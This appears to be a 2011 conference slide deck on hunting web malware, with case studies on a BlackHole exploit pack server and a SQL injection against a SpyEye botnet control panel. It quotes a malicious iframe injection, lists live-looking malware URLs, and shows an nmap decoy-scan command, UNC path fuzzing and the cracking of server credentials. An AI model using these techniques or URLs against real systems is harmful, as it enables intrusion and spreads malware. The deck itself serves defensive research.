Disclaimer

- All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represent the beliefs of my current, or any of my previous in that effect, employers.

Dependency

- Penetration Testing
- Web Malware Hunting

Thanks

- Cigital Inc. for supporting our talk.
About Us

- **Aditya K Sood**
  - Founder, SecNiche Security
  - Independent Security Consultant, Researcher and Practitioner
  - Worked previously for Armorize, Coseinc and KPMG
  - Active Speaker at Security conferences
  - Written Content – ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NES/CFS
  - LinkedIn: [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks)
  - **Website:** [http://www.secniche.org](http://www.secniche.org) | **Blog:** [http://secniche.blogspot.com](http://secniche.blogspot.com) | @AdityaKSood
  - PhD Candidate at Michigan State University

- **Dr. Richard J Enbody**
  - Associate Professor, CSE, Michigan State University
  - Since 1987, teaching computer architecture/ computer security / mathematics
  - Website: [http://www.cse.msu.edu/~enbody](http://www.cse.msu.edu/~enbody)
  - Patents Pending – Hardware Buffer Overflow Protection
This talk is all about ……………

Malware Hunter (Good Hacker) = Penetration Testing + Web Security + Malware Analysis
Agenda

- Malware Paradigm – The State of Online World
- Reality of Browsers
- Browser Malware Taxonomy
- Website Infection – Strategies used by Attackers
- Website Traffic Analysis and Dumps
  - Methodology
- Hunting Web Malware
  - Case Study 1 → BlackHole Exploit Pack
  - Case Study 2 → SpyEye Command and Control Take Down
- Conclusion
Anatomy of Malware – Unbearable Truth

Windows 7 Still Vulnerable to Viruses ◆ Durr, Really?
... Anti-virus software vendor Sophos tested Windows 7’s built-in anti-virus capabilities by feeding a clean system 10 pieces of the newest malware ...

Digital Photo Frames and Other Gadgets Infected with Malware
The 5GND internet storm center has been conducting an informal survey of commercial gadgets that customers bought that contained already-loaded malware on them ...

Computer Malware the New ◆ Weapon of Mass Destruction ◆
Forget nuclear, chemical and biological weapons, the new weapon of mass destruction is computer malware and botnets, according to a new report from ...

Lazy Hacker and Little Worm Set Off Cyberwar Frenzy
... experts who examined code used in the attack say it appears to have been delivered to machines through the MyDoom worm, a piece of malware first discovered in ...

Jessica Biel Tops Brad Pitt as Internet◆s Most Dangerous Search (Updated)
... a man in a tuxedo searching for the latest stories, screen savers and ring tones to sites offering free downloads laden with malware, ◆ the statement ...

Apple◆s Snow Leopard Is Less Secure Than Windows, But Safer
... Windows users do. But then ◆ you’re still safer, security experts agree, because ...

Storm worm botnet with over 1.7 million drones
At the start of the year, it was just a gentle breeze - now however, the storm worm has developed into a genuine tempest. The botnet built up by this worm has grown to include 1.7 million computers (infected computers) according to security services provider SecureWorks, who state that although the network has so far been primarily used to send spam, it could also be used for DDoS attacks on businesses or even countries.

According to security researcher Joe Stewart, between January and May of this year SecureWorks identified 71,342 attacks using the storm worm. Since June, however, the company has reported 20,204,101 attacks. There has also been a dramatic increase in the number of infected computers from which e-mail attacks were sent. Whereas from the start of the year to the end of May just under 3,000 computers were infected, in June and July, the number of drones increased to 1.7 million. SecureWorks speculates that the botnet operator built such a large network in order to be able to hire it out to other hackers or perform attacks.
Malware – Impact on Real World
# Underground Malware – Market Business

## Product

<table>
<thead>
<tr>
<th>Product</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>RAT - depending on features</td>
<td>20,00 €</td>
<td>100,00 €</td>
</tr>
<tr>
<td>Stealer - see above</td>
<td>5,00 €</td>
<td>40,00 €</td>
</tr>
<tr>
<td>Falsified ID/driving licence - depending on the quality of the forgery</td>
<td>50,00 €</td>
<td>2,500,00 €</td>
</tr>
<tr>
<td>Bot file - price depending on features and programmer</td>
<td>20,00 €</td>
<td>100,00 €</td>
</tr>
<tr>
<td>Bot source code</td>
<td>200,00 €</td>
<td>800,00 €</td>
</tr>
</tbody>
</table>

## Service

<table>
<thead>
<tr>
<th>Service</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting - depending on scope of service, anything from web space to</td>
<td>5,00 €</td>
<td>9,999,00 €</td>
</tr>
<tr>
<td>multiple servers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>FUD service</td>
<td>10,00 €</td>
<td>40,00 €</td>
</tr>
<tr>
<td>DDoS attack per hour</td>
<td>10,00 €</td>
<td>150,00 €</td>
</tr>
<tr>
<td>Bot installations per 1000 - prices determined by geographic location</td>
<td>50,00 €</td>
<td>250,00 €</td>
</tr>
<tr>
<td>1 million spam emails to specific addresses, e.g. gamers are at a</td>
<td>300,00 €</td>
<td>800,00 €</td>
</tr>
<tr>
<td>premium</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

## Data

<table>
<thead>
<tr>
<th>Data</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Databases - price depends on the precise content and scope of the</td>
<td>10,00 €</td>
<td>250,00 €</td>
</tr>
<tr>
<td>database, this involves buying a database</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Credit card data - prices determined by the completeness of the data.</td>
<td>2 €</td>
<td>300 €</td>
</tr>
<tr>
<td>Just a card number and expiry date is not worth much. The more data</td>
<td></td>
<td></td>
</tr>
<tr>
<td>is provided, the higher the price is.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1 million email addresses - verified addresses or specialist groups</td>
<td>30,00 €</td>
<td>250,00 €</td>
</tr>
<tr>
<td>cost more</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

## Accounts

<table>
<thead>
<tr>
<th>Accounts</th>
<th>Min. price</th>
<th>Max. price</th>
</tr>
</thead>
<tbody>
<tr>
<td>Steam account - price determined by the volume of games installed</td>
<td>2,00 €</td>
<td>50,00 €</td>
</tr>
<tr>
<td>WoW account - depends on the scope of the data and level of the</td>
<td>5,00 €</td>
<td>30,00 €</td>
</tr>
<tr>
<td>characters in the account</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Pack station account - prices determined by the scope of the data</td>
<td>50,00 €</td>
<td>150,00 €</td>
</tr>
<tr>
<td>provided and whether it has been faked or stolen</td>
<td></td>
<td></td>
</tr>
<tr>
<td>PayPal account - the more date there is on the account, the higher</td>
<td>1,00 €</td>
<td>25,00 €</td>
</tr>
<tr>
<td>the price</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Click &amp; Buy account – see above</td>
<td>10,00 €</td>
<td>35,00 €</td>
</tr>
<tr>
<td>Email account with private email - prices vary according to the</td>
<td>1,00 €</td>
<td>5,00 €</td>
</tr>
<tr>
<td>dealer</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Malware Flow Model

Malware Writers Role

Flow of Malware Websites

© Reihe Informatik. TR-2007-011
Reality of Browsers – Truth Behind the Bars

- Old Browsers Die Hard

10 years ago a browser was born. Its name was Internet Explorer 6. Now that we’re in 2011, in an era of modern web standards, it’s time to say goodbye.

This website is dedicated to watching Internet Explorer 6 usage drop to less than 1% worldwide, so more websites can choose to drop support for Internet Explorer 6, saving hours of work for web developers.

Here’s what you can do.

http://www.ie6countdown.com/
Browser Malware Taxonomy

- Class A – Browser Malware
Browser Malware Taxonomy

- Class B – Browser Malware
Browser Malware Taxonomy

- Class C – Browser Malware
Website Infections – Malware Kicking

- Finest Malware Infection Attacks
  - **Iframe Injections (Hidden + Unhidden)**
    - `<iframe src="" width=0 height=0 />`
      » Obfuscated hyperlinks to malicious files
      » **Malvertisements (on fire nowadays)**
  - **Rogue .JS / .SWF**
    - `<script src=""/> | <object /> | <embed />`
      » Obfuscated scripts are the best choice
  - **Compromising Servers**
    - Exploiting web virtual hosting
    - **Open Relay Server**: sending spams with malicious links
    - **FTP Servers** – Hacking credentials to update website files
    - **Database Servers** – Persistent SQL injections / XSS Bugs
      » Mass SQL injections on rise
  - **Server Side Redirects (Persistent)**
    - Injecting malicious redirects in the web server configuration files
Drive By Downloads – The Evil Reaction

Complete Details

- Victim browser is forced to visit infected website
- Iframe redirects browser to the EXPLOIT POINT (Exploit Hub)
- Exploit is served by fingerprinting browser environment
- Browser is exploited successfully
- Exploit point silently asks for the malware from the malicious domain

    » **It can be self driven**

- Malware is downloaded into system and automatically installed

![Diagram](image_url)
Drive By Cache – Holy Crap!

- **What is it?**
  - Brother of Drive by Download Attacks. Is it?
  - More efficient way to bypass anti virus protections.

- **Drive by Cache / Drive by Downloads**
  - Very less variations have been noticed (Drive By Cache)
  - However, the infections are still in the wild and some of the traces have been noticed
  - Lot more to research over this attack but it has been initialized already
Website Malware Scanning – Cloud in Action

- URL Dissection
  - Google Safe Browsing
    - User-Agent (Browser Specific)/ DNS Blacklisting
    - Past history of malware specific domains
Web Malware Hunting - Core
Hunting Web Malware

- Required Techniques and Tactics
  - Detailed understanding of different malware taxonomies
    - The way malware enters into system from web
    - Example: Malvertisements, Drive by Download attacks.
  - Categorization and Classification of malware is important
    - Explicitly defines the malware working
    - Defines the exact target to hunt
  - Understanding of Browser exploitation in detail
    - Malware infecting various component of browsers
  - Web attacks and defenses
    - Latest attack developments in the field of web
  - Penetration Testing (System Level) is the key to success
    - Hard to imagine to hunt malware without reverse hacking
Pattern Detection – Google in Action

- Detecting Live Targets
  - Search for specific patterns using Google
    - Iframe patterns / strings/ malware domain names etc
## Pattern Detection – Malware Domains Listing

### Public Repositories

**WARNING:** All domains on this website should be considered dangerous. If you do not know what you are doing here, it is recommended you leave right away. This website is a resource for security professionals and enthusiasts.

<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Domain</th>
<th>IP</th>
<th>Reverse Lookup</th>
<th>Description</th>
<th>Registrant</th>
<th>ASN</th>
</tr>
</thead>
<tbody>
<tr>
<td>2011/09/23 06:24</td>
<td>vidosxnx-free4e.ru/101/xxxx_pono.exe</td>
<td>91.220.0.30</td>
<td>-</td>
<td>Ransom LockEmAll</td>
<td><a href="mailto:e45a@bk.ru">e45a@bk.ru</a></td>
<td>51630</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>3.xxwefed.ru/indexes.php?page=x=5591f6b1d59b4e6</td>
<td>91.220.133.76</td>
<td>-</td>
<td>Blackhole exploit kit</td>
<td><a href="mailto:778412568@bk.ru">778412568@bk.ru</a></td>
<td>56976</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>3.xxwefed.ru/2.php?f=529&amp;e=2</td>
<td>91.220.133.76</td>
<td>-</td>
<td>Ransom LockEmAll</td>
<td><a href="mailto:778412568@bk.ru">778412568@bk.ru</a></td>
<td>56976</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>3.xxwefed.ru/2.php?f=5308&amp;e=2</td>
<td>91.220.133.76</td>
<td>-</td>
<td>Ransom LockEmAll</td>
<td><a href="mailto:778412568@bk.ru">778412568@bk.ru</a></td>
<td>56976</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>3.xxwefed.ru/2.php?f=5318&amp;e=2</td>
<td>91.220.133.76</td>
<td>-</td>
<td>Ransom LockEmAll</td>
<td><a href="mailto:778412568@bk.ru">778412568@bk.ru</a></td>
<td>56976</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>parkazmx-oneil3b.ru/1n2qi3</td>
<td>91.220.0.30</td>
<td>-</td>
<td>redirects to LockEmAll</td>
<td><a href="mailto:b5tds3e@bk.ru">b5tds3e@bk.ru</a></td>
<td>51630</td>
</tr>
<tr>
<td>2011/09/23 06:24</td>
<td>pages.infinit.net/dufoud/soft.exe</td>
<td>24.201.245.90</td>
<td>pages.infinit.net.2012.4in-add8rppa</td>
<td>fake av</td>
<td><a href="mailto:Pierre.Roy@VIDEOCTRON.NET">Pierre.Roy@VIDEOCTRON.NET</a></td>
<td>5769</td>
</tr>
<tr>
<td>2011/09/23 06:22</td>
<td>au-business-acosipt.com</td>
<td>67.195.140.36</td>
<td>pp.g.e.vip.ep2.yahoo.com</td>
<td>Leads to blackhole exploit</td>
<td>Kimberly Even / Kimb</td>
<td>36752</td>
</tr>
<tr>
<td>2011/09/23 04:06</td>
<td>merchants.com</td>
<td>217.170.3.16</td>
<td>php5.server11.firstf.ind.ni</td>
<td>Leads to trojan</td>
<td><a href="mailto:Registar.ali1sttt@gmail.com">Registar.ali1sttt@gmail.com</a></td>
<td>25151</td>
</tr>
</tbody>
</table>
Dissecting Traffic Dumps and Analysis

- **Malware Traffic - PCAP Files**
  - Raw dumps of captured packets
  - Provides information about traffic
    - Ingress/Egress traffic
  - Information about the DNS Servers, IP Addresses
    - Malicious executable served by the malicious domain
  - Protocol abuse

- **Extracting Malware (Executables/ Binaries)**
  - **WireShark** – follow TCP/UDP stream
  - Dump data and edit with hex editor
  - Verifying the PE headers (specially **MZ**)
  - Rebuild the files for static and behavioral analysis
Dissecting Traffic Dumps and Analysis

- What Else than WireShark?
  - Network Miner
Dissecting Traffic Dumps and Analysis

- What Else than WireShark?
  - Xplico

- Scapy (Network – Swiss Army Knife)
Dissecting Traffic Dumps and Analysis

- Walking through the Process (Generic)
  - Step 1 - Applying filters in WireShark (to remove unwanted traffic)
    » [http://media.packetlife.net/media/library/13/Wireshark_Display_Filters.pdf](http://media.packetlife.net/media/library/13/Wireshark_Display_Filters.pdf)
  - Step 2 - Create the requisite PCAP files
    » Use rdpcap() / sniff(offline="") (Scapy) to walkthrough PCAP files
    » Pdfdump/Psdump to make graphical output
  - Step 3 - Perform data operations (Scapy)
    » Example: Writing first 5 bytes `file_handle(pkt.load[5:])`
    » Other required data operations
  - Step 4 – Automated mining of PCAP files
    » Use Network Miner and Xplico
Extracting Executables from HTTP/HTTPS Traffic

- TCP Session Stream Analysis
  - Reconstructing the TCP session stream
  - Scrutinize the content present in the TCP session
  - Malware binaries are present as raw/encoded data
  - Verifying the HTTP/HTTPS end points to collect all data

- What to Look For?
  - Find the starting point of TCP communication
  - Follow the TCP session stream
    - WireShark does that for you.
  - Walkthrough the raw data.
    - Search for two byte header MZ ($4D5A in hex) which begins at a certain offset to trace the PE
    - Dump the binary as raw output. Avoid encodings.
Extracting Executables from HTTP/HTTPS Traffic
Case Studies – Malware Hunting
Case Study – BlackHole Exploit Pack - Hunt

- BlackHole Exploit Pack
  - One of the frivolous used exploit pack
  - Used extensively for spreading malware
  - Exploits browser and plugin vulnerabilities
  - Collaboratively used with botnets to spread malware

- BlackHole – Spreading Infection
  - A malicious link is served through spams
  - Social engineering to force victims to visit malicious links
  - Manipulating social networking capabilities
  - Spreading scams and tricking victims to work it out

Note: This case study is an outcome of real time hunting of web malware in a university network.
Case Study – BlackHole Exploit Pack - Hunt

- Understanding the Environment
  - A malicious website was hosted by the attacker
  - Utilized a zombie machine to host a web server
  - Fake emails were pushed in legitimate networks
    - Malicious link was injected into it
    - Malicious website hosted a web page with link to malicious domain
  - Malicious iframe was detected and deobfuscated as
    
    `<iframe src="http://malware/phx/index.php" width="1" height="1" frameborder="0"></iframe>`
    
  - “index.php” fingerprinted the browser (version / plugins)
  - Exploit was served based on the environment
Exploit Serving

- “index.php” found the installed JAVA to be vulnerable
- It exploited JAVA SMB vulnerability and started throwing the requisite exploit for it

**ALERT!**
- JAVA SMB exploit requires an SMB server to be installed on the domain or subdomain to include the exploit through UNC path

Mapping the IP and NMAP scan was initiated
- Decoy Scan and IP Spoofing scans are always the best

```bash
nmap -P0 -A -T4 -sS blackhole_host -D 112.123.124.111 -p 445
```

Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-06 13:07 Eastern Daylight Time

**PORT STATE SERVICE**

445/tcp open netbios-ssn Samba smbd 3.X
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.35
Network Distance: 1 hop
Host script results:
| _ NetBIOS user: , NetBIOS MAC: |
| _smbv2-enabled: Server doesn’t support SMBv2 protocol |
Case Study – BlackHole Exploit Pack - Hunt

- Exploit Serving
  - “new.avi” file was served as an exploit
  - Gotcha!
    - SMB server was configured and serving exploit
      » Hard to think whether the usermode security is applied
      » SMB usermode = \{username, password\} required
  - **So What – Shared mode is configured**
    - Default IPC$ share was available

```
E:\audit>enum -P blackhole_host
    server: blackhole_host
    setting up session... success.
    password policy:
    min length: 5 chars
    min age: none
    max age: none
    lockout threshold: none
    lockout duration: 30 mins
    lockout reset: 30 mins
    cleaning up... success.
```
Case Study – BlackHole Exploit Pack - Hunt

- Verifying the Facts
  - The server was not browseable
  - Fuzzing the UNC path as follows
    • `\blackhole_host\home\new.avi`
    • `\blackhole_host\usr\new.avi`
    • `\blackhole_host\home\smb\new.avi [Gotcha]`
    • `\blackhole_host\usr\smb\new.avi`

- SMB server must be configured with following metrics

```ini
[global]
security = share

[smb]
comment = smb
path = /home/smb
public = yes
browseable = no
writeable = no
guest ok = yes
```
Case Study – BlackHole Exploit Pack - Hunt

- At Last

- We were also able to crack the SMB login credentials to take control over the server.
Case Study – Botnet C&C SQL Injection

- SpyEye Botnet C&C Target
  - Exploiting the SQL injection to take control of
  - Fetch the target using abuse.ch service

Welcome to SpyEye Tracker

The SpyEye Tracker is another project by abuse.ch. It is similar to the Zeus Tracker with the slight difference that SpyEye Tracker tracks and monitors malicious SpyEye Command&Control Servers (and not Zeus C&Cs). SpyEye Tracker provides blacklists in different formats (e.g., for Squid Web-Proxy or iptables) to avoid that infected clients can access the C&C servers. Additionally, SpyEye Tracker should help ISPs, CERTs and Law Enforcement to track malicious SpyEye C&C servers which are their responsibility.

Here are some quick statistics about the SpyEye Trojan:

- SpyEye C&C servers tracked: 408
- SpyEye C&C servers online: 195
- SpyEye C&C server with files online: 36
- Average SpyEye binary Antivirus detection: 25.45%

The map below shows a dot for each SpyEye Command&Control server.
Case Study – Botnet C&C SQL Injection

- SpyEye Botnet C&C Target
  - Vulnerability lies in "frmcp0/frm_findrep_sub2.php?id="
  - Getting the version number
Case Study – Botnet C&C SQL Injection

- SpyEye Botnet C&C Target
  - Vulnerability lies in "frmcp0/frm_findrep_sub2.php?id="
  - Getting the database

```html
<script type="text/javascript">
  el = document.getElementById('password');
  if (el) el.focus();
</script>
```

Line 0, Col 2
Case Study – Botnet C&C SQL Injection

- SpyEye Botnet C&C Target
  - Vulnerability lies in "frmcp0/frm_findrep_sub2.php?id="
  - Getting the MySQL root password
Conclusion

- For Rigorous Web Malware Hunting
  - Robust penetration testing skills required
  - Understanding of
    - Malware infection framework
    - Working of exploit serving mechanisms
    - Detailed web security knowledge with all types of attacks
  - At last, think like an attacker
References

- Malware at Stake: [http://secniche.blogspot.com](http://secniche.blogspot.com)
Thanks

- OWASP (http://www.owasp.org)
- SecNiche Security Labs (http://www.secniche.org)
- Cigital Inc
- Twitter - @AdityaKSood
- Feel free to send any queries.